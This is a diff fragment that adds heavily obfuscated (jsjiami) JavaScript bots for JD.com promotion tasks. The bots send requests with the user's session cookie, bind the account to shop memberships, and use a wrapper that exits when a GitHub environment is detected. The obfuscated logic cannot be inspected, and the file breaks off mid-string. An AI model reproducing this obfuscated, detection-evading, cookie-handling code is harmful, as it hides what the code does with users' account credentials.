_0x4accb7[_0x38da('‫137')](/[xy]/g,function(_0x51cd39){var _0x4c9148=_0xd9660c[_0x38da('‮138')](_0xd9660c[_0x38da('‮139')](Math[_0x38da('‫14')](),0x10),0x0),_0x48d94e=_0xd9660c[_0x38da('‫13a')](_0x51cd39,'x')?_0x4c9148:_0xd9660c[_0x38da('‮138')](_0xd9660c[_0x38da('‫13b')](_0x4c9148,0x3),0x8);if(_0x33f40f){if(_0xd9660c[_0x38da('‫13c')](_0xd9660c[_0x38da('‫13d')],_0xd9660c[_0x38da('‫13d')])){$[_0x38da('‫54')]=data[_0x38da('‫54')];}else{uuid=_0x48d94e[_0x38da('‮ae')](0x24)[_0x38da('‮af')]();}}else{if(_0xd9660c[_0x38da('‮13e')](_0xd9660c[_0x38da('‫13f')],_0xd9660c[_0x38da('‫140')])){$[_0x38da('‫59')]();}else{uuid=_0x48d94e[_0x38da('‮ae')](0x24);}}return uuid;});}function checkCookie(){var _0x17cb3d={'GnVUU':_0x38da('‮60'),'pGDGC':_0x38da('‮c6'),'TwmRZ':_0x38da('‮c7'),'HoIDc':_0x38da('‮c8'),'UxiZz':_0x38da('‮c9'),'dRcuI':_0x38da('‫ca'),'NrpQk':_0x38da('‮cb'),'IoOXf':_0x38da('‮cc'),'XvGAl':_0x38da('‫cd'),'XPXTM':_0x38da('‫ce'),'FnnPk':function(_0x29593c,_0x18cb91){return _0x29593c!==_0x18cb91;},'reSBs':_0x38da('‮141'),'Kydir':function(_0x4391a1,_0x2be1cd){return _0x4391a1!==_0x2be1cd;},'AzgCc':_0x38da('‫142'),'PyrLo':_0x38da('‮143'),'yMeNH':function(_0x337640,_0x4a8cfb){return _0x337640===_0x4a8cfb;},'bfHGG':_0x38da('‫144'),'ChHdP':_0x38da('‫c2'),'ENxbF':_0x38da('‫145'),'NQmlS':function(_0x1ae381,_0x5e7e29){return _0x1ae381!==_0x5e7e29;},'pbFHc':_0x38da('‮146'),'NGjKf':_0x38da('‮147'),'JXBqh':_0x38da('‮0'),'GiLZJ':function(_0x56e073,_0x24e002){return _0x56e073===_0x24e002;},'iEASV':_0x38da('‮148'),'PGjYg':_0x38da('‫149'),'kocut':function(_0x46ba0d,_0x50a4c3){return _0x46ba0d!==_0x50a4c3;},'HpGWV':_0x38da('‫14a'),'cniZw':function(_0x12d8f5){return _0x12d8f5();},'LzUWs':_0x38da('‫14b'),'etMZe':_0x38da('‫14c'),'dnFIf':function(_0x2008c2,_0x1729ba){return _0x2008c2(_0x1729ba);},'PDbjC':_0x38da('‫14d'),'tiavf':_0x38da('‫14e'),'qLGGa':function(_0x5de83a,_0x228c46){return _0x5de83a+_0x228c46;},'YmCyo':function(_0x214db7,_0x4969fc){return _0x214db7+_0x4969fc;},'mxsUt':function(_0x333ff1,_0x55c320){return _0x333ff1+_0x55c320;},'ElyoC':function(_0x4445a3,_0x4ea135){return _0x4445a3+_0x4ea135;},'LNafo':_0x38da('‫14f'),'SbIBm':_0x38da('‫40'),'DygDN':_0x38da('‮92'),'dQNwO':_0x38da('‫150'),'RrnEE':_0x38da('‮151'),'dqfKt':_0x38da('‫10f'),'rNSPW':_0x38da('‮152'),'rVBHC':_0x38da('‫153'),'eiDRV':_0x38da('‫154')};const _0x28c377={'url':_0x17cb3d[_0x38da('‫155')],'headers':{'Host':_0x17cb3d[_0x38da('‫156')],'Accept':_0x17cb3d[_0x38da('‫157')],'Connection':_0x17cb3d[_0x38da('‮158')],'Cookie':cookie,'User-Agent':_0x17cb3d[_0x38da('‮159')],'Accept-Language':_0x17cb3d[_0x38da('‫15a')],'Referer':_0x17cb3d[_0x38da('‫15b')],'Accept-Encoding':_0x17cb3d[_0x38da('‫15c')]}};return new Promise(_0x4508cd=>{var _0x1e6079={'AsIBu':_0x17cb3d[_0x38da('‫15d')],'OKwye':_0x17cb3d[_0x38da('‮15e')],'Avbpt':function(_0x15e603,_0x5bdb06){return _0x17cb3d[_0x38da('‮15f')](_0x15e603,_0x5bdb06);},'qsoCj':_0x17cb3d[_0x38da('‮160')],'RVPNM':_0x17cb3d[_0x38da('‫161')],'ByCgo':function(_0x17c9fd,_0x5c29a1){return _0x17cb3d[_0x38da('‮162')](_0x17c9fd,_0x5c29a1);},'jbwAa':function(_0x190c08,_0x4ca73c){return _0x17cb3d[_0x38da('‫163')](_0x190c08,_0x4ca73c);},'qmTmd':function(_0x55d1b9,_0x4ff944){return _0x17cb3d[_0x38da('‫164')](_0x55d1b9,_0x4ff944);},'GbnWJ':function(_0x534a3d,_0x355d38){return _0x17cb3d[_0x38da('‮165')](_0x534a3d,_0x355d38);},'TXZfU':_0x17cb3d[_0x38da('‫166')],'CgNAU':_0x17cb3d[_0x38da('‮167')],'PnvQC':_0x17cb3d[_0x38da('‮168')],'mdDdB':function(_0x1f458b){return _0x17cb3d[_0x38da('‮169')](_0x1f458b);}};$[_0x38da('‮16a')](_0x28c377,(_0x2024aa,_0x266217,_0x41ddea)=>{var _0x4f63f8={'YyAJo':_0x17cb3d[_0x38da('‫16b')],'GWBmQ':_0x17cb3d[_0x38da('‮16c')],'xzymF':_0x17cb3d[_0x38da('‮16d')],'UEEWG':_0x17cb3d[_0x38da('‫16e')],'itcYf':_0x17cb3d[_0x38da('‫16f')],'nagvR':_0x17cb3d[_0x38da('‫15c')],'LFnzY':_0x17cb3d[_0x38da('‮170')],'WgOBP':_0x17cb3d[_0x38da('‮171')],'GoVHC':_0x17cb3d[_0x38da('‮158')],'taXEl':_0x17cb3d[_0x38da('‫172')]};try{if(_0x2024aa){if(_0x17cb3d[_0x38da('‮173')](_0x17cb3d[_0x38da('‫174')],_0x17cb3d[_0x38da('‫174')])){$[_0x38da('‫29')](_0x4f63f8[_0x38da('‫175')]);}else{$[_0x38da('‮2b')](_0x2024aa);}}else{if(_0x17cb3d[_0x38da('‮176')](_0x17cb3d[_0x38da('‫177')],_0x17cb3d[_0x38da('‮178')])){if(_0x41ddea){_0x41ddea=JSON[_0x38da('‮52')](_0x41ddea);if(_0x17cb3d[_0x38da('‫179')](_0x41ddea[_0x38da('‮17a')],_0x17cb3d[_0x38da('‮17b')])){$[_0x38da('‫30')]=![];return;}if(_0x17cb3d[_0x38da('‫179')](_0x41ddea[_0x38da('‮17a')],'0')&&_0x41ddea[_0x38da('‮4d')][_0x38da('‫17c')](_0x17cb3d[_0x38da('‫17d')])){if(_0x17cb3d[_0x38da('‫179')](_0x17cb3d[_0x38da('‮17e')],_0x17cb3d[_0x38da('‮17e')])){$[_0x38da('‫31')]=_0x41ddea[_0x38da('‮4d')][_0x38da('‫c2')][_0x38da('‮c3')][_0x38da('‫c4')];}else{$[_0x38da('‮2b')](_0x2024aa);}}}else{if(_0x17cb3d[_0x38da('‫17f')](_0x17cb3d[_0x38da('‫180')],_0x17cb3d[_0x38da('‫181')])){$[_0x38da('‫29')](_0x17cb3d[_0x38da('‫182')]);}else{return{'url':isCommon?_0x38da('‫cf')+function_id+_0x38da('‮d0')+($[_0x38da('‮64')]?$[_0x38da('‮64')]:'')+_0x38da('‮d1')+($[_0x38da('‫a2')]?$[_0x38da('‫a2')]:''):_0x38da('‫cf')+function_id+_0x38da('‮d0')+($[_0x38da('‮64')]?$[_0x38da('‮64')]:'')+_0x38da('‮d2')+($[_0x38da('‫a2')]?$[_0x38da('‫a2')]:''),'headers':{'Host':_0x4f63f8[_0x38da('‮183')],'Accept':_0x4f63f8[_0x38da('‫184')],'X-Requested-With':_0x4f63f8[_0x38da('‮185')],'Accept-Language':_0x4f63f8[_0x38da('‫186')],'Accept-Encoding':_0x4f63f8[_0x38da('‮187')],'Content-Type':_0x4f63f8[_0x38da('‮188')],'Origin':_0x4f63f8[_0x38da('‫189')],'User-Agent':_0x38da('‮da')+$[_0x38da('‫3d')]+_0x38da('‮db')+$[_0x38da('‮3a')]+_0x38da('‫dc'),'Connection':_0x4f63f8[_0x38da('‫18a')],'Referer':_0x4f63f8[_0x38da('‫18b')],'Cookie':cookie},'body':JSON[_0x38da('‫df')](body)};}}}else{console[_0x38da('‫29')](_0x41ddea[_0x38da('‮4d')][_0x38da('‫16')]);}}}catch(_0x454d05){if(_0x17cb3d[_0x38da('‫18c')](_0x17cb3d[_0x38da('‮18d')],_0x17cb3d[_0x38da('‮18e')])){var _0x49326e=new Date()[_0x38da('‫18f')](),_0x140db0=_0x1e6079[_0x38da('‮190')],_0x129f78=_0x1e6079[_0x38da('‫191')],_0x3e6337=JSON[_0x38da('‫df')](t),_0x3415dc=_0x1e6079[_0x38da('‮192')](encodeURIComponent,_0x3e6337),_0x1d3591=new RegExp('\x27','g'),_0x38fe88=new RegExp('~','g'),_0x3415dc=_0x3415dc[_0x38da('‫137')](_0x1d3591,_0x1e6079[_0x38da('‫193')]),_0x3415dc=_0x3415dc[_0x38da('‫137')](_0x38fe88,_0x1e6079[_0x38da('‫194')]),_0xb7b8b4=_0x1e6079[_0x38da('‫195')](_0x1e6079[_0x38da('‮196')](_0x1e6079[_0x38da('‮197')](_0x1e6079[_0x38da('‮197')](_0x1e6079[_0x38da('‮197')](_0x1e6079[_0x38da('‮197')](_0x1e6079[_0x38da('‫198')](_0x129f78,_0x1e6079[_0x38da('‫199')]),_0x3415dc),_0x1e6079[_0x38da('‮19a')]),_0x129f78),_0x1e6079[_0x38da('‮19b')]),_0x49326e),_0x140db0);return{'sign':CryptoJS[_0x38da('‫19c')](_0xb7b8b4[_0x38da('‮19d')]())[_0x38da('‮ae')](),'timeStamp':_0x49326e};}else{$[_0x38da('‮2b')](_0x454d05);}}finally{if(_0x17cb3d[_0x38da('‫19e')](_0x17cb3d[_0x38da('‮19f')],_0x17cb3d[_0x38da('‮19f')])){_0x1e6079[_0x38da('‮1a0')](_0x4508cd);}else{_0x17cb3d[_0x38da('‮169')](_0x4508cd);}}});});}function getSign(_0x62c294){var _0x479f2d={'APuqP':_0x38da('‫14b'),'mDwdL':_0x38da('‫14c'),'SLEfn':function(_0x5c3bad,_0x55fff2){return _0x5c3bad(_0x55fff2);},'eqqzY':_0x38da('‫14d'),'BJYpE':_0x38da('‫14e'),'Ilzuj':function(_0x2e1631,_0x4a2dd0){return _0x2e1631+_0x4a2dd0;},'mCVYd':function(_0x1ce4ef,_0x165ff9){return _0x1ce4ef+_0x165ff9;},'Vmrad':function(_0x370da9,_0x49513e){return _0x370da9+_0x49513e;},'fnvGV':_0x38da('‫14f'),'EoKBw':_0x38da('‫40'),'OTRWF':_0x38da('‮92')};var _0x359ad3=new Date()[_0x38da('‫18f')](),_0x539261=_0x479f2d[_0x38da('‮1a1')],_0x4286ed=_0x479f2d[_0x38da('‮1a2')],_0x423184=JSON[_0x38da('‫df')](_0x62c294),_0x42f6c4=_0x479f2d[_0x38da('‫1a3')](encodeURIComponent,_0x423184),_0x2838f1=new RegExp('\x27','g'),_0x580404=new RegExp('~','g'),_0x42f6c4=_0x42f6c4[_0x38da('‫137')](_0x2838f1,_0x479f2d[_0x38da('‮1a4')]),_0x42f6c4=_0x42f6c4[_0x38da('‫137')](_0x580404,_0x479f2d[_0x38da('‮1a5')]),_0x194dce=_0x479f2d[_0x38da('‮1a6')](_0x479f2d[_0x38da('‮1a6')](_0x479f2d[_0x38da('‮1a6')](_0x479f2d[_0x38da('‮1a6')](_0x479f2d[_0x38da('‮1a6')](_0x479f2d[_0x38da('‫1a7')](_0x479f2d[_0x38da('‮1a8')](_0x4286ed,_0x479f2d[_0x38da('‮1a9')]),_0x42f6c4),_0x479f2d[_0x38da('‮1aa')]),_0x4286ed),_0x479f2d[_0x38da('‮1ab')]),_0x359ad3),_0x539261);return{'sign':CryptoJS[_0x38da('‫19c')](_0x194dce[_0x38da('‮19d')]())[_0x38da('‮ae')](),'timeStamp':_0x359ad3};};_0xod6='jsjiami.com.v6'; +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_mpdz_car_task.js b/jd_mpdz_car_task.js new file mode 100644 index 0000000..0cef58a --- /dev/null +++ b/jd_mpdz_car_task.js @@ -0,0 +1,8 @@ +/* +头文字j任务 +16 16,17,18 * * * jd_mpdz_car_task.js +*/ +var _0xod9='jsjiami.com.v6',_0xod9_=['‮_0xod9'],_0x6f5a=[_0xod9,'ZHdmWVU=','TXhwZ1g=','amRhcHA7aVBob25lOzkuNS40OzEzLjY7','O25ldHdvcmsvd2lmaTtBRElELw==','O21vZGVsL2lQaG9uZTEwLDM7YWRkcmVzc2lkLzA7YXBwQnVpbGQvMTY3NjY4O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM182IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTE0ODtzdXBwb3J0SkRTSFdLLzE=','cnpwanA=','aHR0cHM6Ly9zaG9wbWVtYmVyLm0uamQuY29tL3Nob3BjYXJkLz92ZW5kZXJJZD0=','fSZjaGFubmVsPTgwMSZyZXR1cm5Vcmw9','QmNXVkE=','YWN0aXZpdHlVcmw=','V3lmR2o=','eFpTZWY=','TVJBUHU=','ZllpbnM=','WVVibXY=','dm1mcGM=','UVRXVlA=','RVhvemw=','ZXp5dVg=','Z2V0','dVlxU3U=','RU9ESHY=','cXJSWWU=','VkxsZU4=','dktBaW0=','Sk5Tems=','Y2xaVE8=','dG9VcHBlckNhc2U=','U0lHTl9VUkw=','RXlyTlk=','V2FZWVY=','R3JQcng=','T3hBRXQ=','alltUFo=','YmxOY1g=','VVpFY1Y=','VnJYa3Y=','YmluZFdpdGhWZW5kZXI=','dGNpdXA=','dWlNelQ=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj8=','T2toSnk=','WEJ3cVg=','SmFiZno=','T2hVb2k=','fSZjaGFubmVsPTQwMSZyZXR1cm5Vcmw9','RGN4bGc=','T3N5aVU=','eE1FbFY=','bXRjZnk=','Q1ZGZWk=','REZ6QUM=','VFRCR1k=','VFpWTUE=','YmlpWlU=','a3NNSHk=','UEZNdW8=','WHFGRUE=','bU5JYk4=','Y0tDSm4=','VHlkSUM=','aHdVT2Q=','Z1pOUmk=','Z1NXYnQ=','Z0FMR2s=','QUFNR2g=','bFRxZ3k=','bVR2b3k=','c0licEU=','Q3pPZ2E=','YWh0cUw=','c214Z0M=','aHJKZEg=','U3Npb1o=','T1ZRT2E=','cHp6R3M=','Z01ydlU=','TG9raG4=','YnpkR0Q=','YkRTeVQ=','RGlsSkk=','QWtIZWg=','S3FMcXc=','SXZRZm4=','bHhrTEs=','Zk9wc24=','WVFJc3U=','Z3prYWE=','eG1ScEo=','RWtpcXQ=','bmd3bks=','WHFFSkY=','UFhnbm4=','c3lwdEE=','Tk94R00=','cVR0R0c=','dkVDeHA=','T0l6RUE=','SkRrR0w=','bU1DYVQ=','dkJGUnM=','YmluZFdpdGhWZW5kZXJtZXNzYWdl','bWVzc2FnZQ==','RW5iWUI=','d014a2s=','bGJ5YW0=','UllrQmw=','TlV4c1I=','SHBCdWY=','S0RTZXI=','anZYTks=','YVN1eGg=','UGVZQ3k=','c2J1SU0=','Z3JNZmQ=','SUxvRlM=','WkxPa04=','U3FYZEk=','TkJrZkE=','YVNsakY=','UmFBY1A=','dkNuS08=','a0dieEI=','akJoenY=','aEtpU1g=','UE1xZlA=','bmdXZng=','d0hpWEQ=','bXBkei1jYXItZHouaXN2amNsb3VkLmNvbQ==','YXBwbGljYXRpb24vanNvbg==','WE1MSHR0cFJlcXVlc3Q=','YXBwbGljYXRpb24vanNvbjsgY2hhcnNldD11dGYtOA==','aHR0cHM6Ly9tcGR6LWNhci1kei5pc3ZqY2xvdWQuY29t','aHR0cHM6Ly9tcGR6LWNhci1kei5